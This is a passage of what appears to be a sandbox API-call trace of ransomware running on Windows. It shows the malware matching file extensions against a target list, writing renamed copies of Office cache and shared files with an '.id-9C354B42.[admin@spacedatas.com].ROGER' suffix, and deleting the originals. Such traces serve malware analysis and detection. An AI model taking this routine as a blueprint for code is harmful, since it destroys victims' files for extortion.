(lpString1=".docx", lpString2="g.xml") returned -1 [0041.194] lstrlenW (lpString=".pdf") returned 4 [0041.194] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString=".xls") returned 4 [0041.194] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString=".xlsx") returned 5 [0041.194] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0041.194] lstrlenW (lpString=".ppt") returned 4 [0041.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString=".zip") returned 4 [0041.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.194] lstrlenW (lpString=".rar") returned 4 [0041.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString=".bz2") returned 4 [0041.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString=".7z") returned 3 [0041.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString=".dbf") returned 4 [0041.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString=".1cd") returned 4 [0041.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString=".jpg") returned 4 [0041.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString=".doc") returned 4 [0041.195] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString=".docx") returned 5 [0041.195] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0041.195] lstrlenW (lpString=".pdf") returned 4 [0041.195] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString=".xls") returned 4 [0041.195] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString=".xlsx") returned 5 [0041.195] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0041.195] lstrlenW (lpString=".ppt") returned 4 [0041.195] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString=".zip") returned 4 [0041.195] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.195] lstrlenW (lpString=".rar") returned 4 [0041.195] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString=".bz2") returned 4 [0041.195] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString=".7z") returned 3 [0041.195] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString=".dbf") returned 4 [0041.195] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString=".1cd") returned 4 [0041.195] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.195] lstrlenW (lpString=".jpg") returned 4 [0041.195] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.196] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.196] lstrlenW (lpString="Office32WW.xml") returned 14 [0041.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.197] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=4274) returned 1 [0041.197] CloseHandle (hObject=0x390) returned 1 [0041.197] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0041.197] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.197] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.197] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0041.198] GetLastError () returned 0x0 [0041.198] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0041.254] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0041.255] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.255] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.255] SetEndOfFile (hFile=0x388) returned 1 [0041.255] CloseHandle (hObject=0x388) returned 1 [0041.256] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.256] SetEndOfFile (hFile=0x390) returned 1 [0041.257] CloseHandle (hObject=0x390) returned 1 [0041.257] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.257] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0041.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.257] lstrlenW (lpString=".doc") returned 4 [0041.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".docx") returned 5 [0041.258] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.258] lstrlenW (lpString=".pdf") returned 4 [0041.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".xls") returned 4 [0041.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".xlsx") returned 5 [0041.258] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.258] lstrlenW (lpString=".ppt") returned 4 [0041.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString=".zip") returned 4 [0041.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.258] lstrlenW (lpString=".rar") returned 4 [0041.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".bz2") returned 4 [0041.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".7z") returned 3 [0041.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString=".dbf") returned 4 [0041.258] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString=".1cd") returned 4 [0041.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString=".jpg") returned 4 [0041.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.258] lstrlenW (lpString=".doc") returned 4 [0041.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.258] lstrlenW (lpString=".docx") returned 5 [0041.258] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.259] lstrlenW (lpString=".pdf") returned 4 [0041.259] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString=".xls") returned 4 [0041.259] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString=".xlsx") returned 5 [0041.259] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.259] lstrlenW (lpString=".ppt") returned 4 [0041.259] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.259] lstrlenW (lpString=".zip") returned 4 [0041.259] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.259] lstrlenW (lpString=".rar") returned 4 [0041.259] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString=".bz2") returned 4 [0041.259] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString=".7z") returned 3 [0041.259] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.259] lstrlenW (lpString=".dbf") returned 4 [0041.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.259] lstrlenW (lpString=".1cd") returned 4 [0041.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.259] lstrlenW (lpString=".jpg") returned 4 [0041.259] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.259] lstrcmpiW (lpString1=".JPG", lpString2=".ROGER") returned -1 [0041.259] lstrlenW (lpString="MS.JPG") returned 6 [0041.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.336] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1061) returned 1 [0041.336] CloseHandle (hObject=0x394) returned 1 [0041.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0041.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.336] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.336] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0041.337] GetLastError () returned 0x0 [0041.337] ReadFile (in: hFile=0x394, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x425, lpOverlapped=0x0) returned 1 [0041.339] WriteFile (in: hFile=0x398, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x430, lpOverlapped=0x0) returned 1 [0041.340] ReadFile (in: hFile=0x394, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.340] WriteFile (in: hFile=0x398, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0041.340] SetEndOfFile (hFile=0x398) returned 1 [0041.340] CloseHandle (hObject=0x398) returned 1 [0041.341] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.341] SetEndOfFile (hFile=0x394) returned 1 [0041.342] CloseHandle (hObject=0x394) returned 1 [0041.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0041.342] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.342] lstrlenW (lpString=".doc") returned 4 [0041.342] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0041.342] lstrlenW (lpString=".docx") returned 5 [0041.342] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0041.342] lstrlenW (lpString=".pdf") returned 4 [0041.342] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0041.342] lstrlenW (lpString=".xls") returned 4 [0041.342] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0041.342] lstrlenW (lpString=".xlsx") returned 5 [0041.342] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0041.343] lstrlenW (lpString=".ppt") returned 4 [0041.343] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".zip") returned 4 [0041.343] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString=".rar") returned 4 [0041.343] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString=".bz2") returned 4 [0041.343] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0041.343] lstrlenW (lpString=".7z") returned 3 [0041.343] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".dbf") returned 4 [0041.343] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".1cd") returned 4 [0041.343] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".jpg") returned 4 [0041.343] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".doc") returned 4 [0041.343] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0041.343] lstrlenW (lpString=".docx") returned 5 [0041.343] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0041.343] lstrlenW (lpString=".pdf") returned 4 [0041.343] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString=".xls") returned 4 [0041.343] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString=".xlsx") returned 5 [0041.343] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0041.343] lstrlenW (lpString=".ppt") returned 4 [0041.343] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.343] lstrlenW (lpString=".zip") returned 4 [0041.344] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0041.344] lstrlenW (lpString=".rar") returned 4 [0041.344] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0041.344] lstrlenW (lpString=".bz2") returned 4 [0041.344] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0041.344] lstrlenW (lpString=".7z") returned 3 [0041.344] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0041.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.344] lstrlenW (lpString=".dbf") returned 4 [0041.344] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0041.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.344] lstrlenW (lpString=".1cd") returned 4 [0041.344] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0041.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0041.344] lstrlenW (lpString=".jpg") returned 4 [0041.344] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0041.344] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.344] lstrlenW (lpString="Content.xml") returned 11 [0041.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.347] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=27045) returned 1 [0041.347] CloseHandle (hObject=0x390) returned 1 [0041.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0041.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString=".doc") returned 4 [0041.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString=".docx") returned 5 [0041.348] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.348] lstrlenW (lpString=".pdf") returned 4 [0041.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString=".xls") returned 4 [0041.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString=".xlsx") returned 5 [0041.348] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.348] lstrlenW (lpString=".ppt") returned 4 [0041.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString=".zip") returned 4 [0041.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.348] lstrlenW (lpString=".rar") returned 4 [0041.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString=".bz2") returned 4 [0041.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString=".7z") returned 3 [0041.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString=".dbf") returned 4 [0041.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString=".1cd") returned 4 [0041.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.348] lstrlenW (lpString=".jpg") returned 4 [0041.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString=".doc") returned 4 [0041.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString=".docx") returned 5 [0041.349] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.349] lstrlenW (lpString=".pdf") returned 4 [0041.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString=".xls") returned 4 [0041.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString=".xlsx") returned 5 [0041.349] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.349] lstrlenW (lpString=".ppt") returned 4 [0041.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString=".zip") returned 4 [0041.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.349] lstrlenW (lpString=".rar") returned 4 [0041.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString=".bz2") returned 4 [0041.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString=".7z") returned 3 [0041.349] lstrcmpiW (lpString1=".7z", 